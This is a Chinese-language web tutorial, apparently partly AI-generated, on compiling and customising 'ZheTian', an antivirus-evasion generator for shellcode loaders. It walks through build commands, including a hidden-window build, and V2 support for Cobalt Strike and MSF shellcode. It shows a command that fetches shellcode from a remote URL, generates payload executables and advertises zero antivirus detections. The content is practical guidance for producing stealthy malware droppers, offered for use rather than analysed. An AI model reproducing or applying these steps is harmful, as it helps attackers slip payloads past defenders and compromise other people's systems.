ZheTian编译与定制教程:从源码到可执行文件的完整流程
2026/7/6 20:43:23 网站建设 项目流程

ZheTian编译与定制教程:从源码到可执行文件的完整流程

【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具,Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTian

ZheTian是一款强大的免杀生成工具,支持从源码编译到可执行文件的完整流程,帮助用户轻松实现Bypass All的安全需求。本文将详细介绍ZheTian的编译环境准备、不同版本编译步骤以及定制化配置方法,让新手也能快速掌握从源码到可执行文件的全过程。

一、编译环境准备

1.1 安装Go语言环境

ZheTian使用Go语言开发,首先需要安装Go环境。建议安装Go 1.16及以上版本,可通过官方网站下载对应操作系统的安装包进行安装。安装完成后,通过go version命令验证安装是否成功。

1.2 克隆项目源码

使用以下命令克隆ZheTian项目源码到本地:

git clone https://gitcode.com/gh_mirrors/zh/ZheTian

二、ZheTian各版本编译步骤

2.1 V1版本编译

进入V1版本目录:

cd ZheTian/v1

执行编译命令:

go build -ldflags "-w -s" -o ZheTian.exe

若需要实现无窗口运行,可使用以下命令:

go build -ldflags "-w -s -H windowsgui" -o ZheTian.exe

ZheTian V1版本命令行界面展示,包含多种参数选项

2.2 V2版本编译

进入V2版本目录:

cd ZheTian/v2

V2版本支持Cobalt Strike、MSF原生Shellcode,编译命令与V1类似:

go build -ldflags "-w -s" -o ZheTian.exe

ZheTian V2版本运行效果,显示成功生成可执行程序

三、带图标编译方法

3.1 准备资源文件

确保V1或V2目录下存在ZheTian.manifestfavicon.ico文件。

3.2 安装rsrc工具

执行以下命令安装rsrc工具:

go get github.com/akavel/rsrc

3.3 生成syso文件

运行以下命令生成资源文件:

rsrc -manifest ZheTian.manifest -ico favicon.ico -o ZheTian.syso

3.4 编译带图标程序

再次执行编译命令,生成带有图标的可执行文件:

go build -ldflags "-w -s" -o ZheTian.exe

四、定制化配置

4.1 代码修改

ZheTian的核心代码位于对应版本的目录中,如V1版本的v1/server/目录下包含多个功能模块。用户可根据需求修改代码,实现个性化功能。ZheTian代码示例,展示ShellCode处理相关代码

4.2 参数定制

编译完成后,可通过命令行参数定制ZheTian的运行行为。例如,V1版本支持从远程服务器加载ShellCode:

ZheTian.exe -u http://example.com/shellcode.txt

V2版本支持选择系统架构生成可执行程序:

ZheTian -m 64 -o payload64.exe

五、免杀效果测试

ZheTian编译生成的可执行文件具有良好的免杀效果,可通过多种杀毒软件检测。下图展示了V2版本的检测结果:ZheTian V2版本在多引擎检测中实现0检出

六、总结

通过本文的教程,你已经掌握了ZheTian从源码到可执行文件的完整编译流程,包括环境准备、各版本编译步骤、带图标编译以及定制化配置方法。ZheTian作为一款强大的免杀生成工具,为安全研究人员提供了便捷的解决方案。后续可关注项目的更新,体验更多新功能。

【免费下载链接】ZheTian::ZheTian / 强大的免杀生成工具,Bypass All.项目地址: https://gitcode.com/gh_mirrors/zh/ZheTian

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询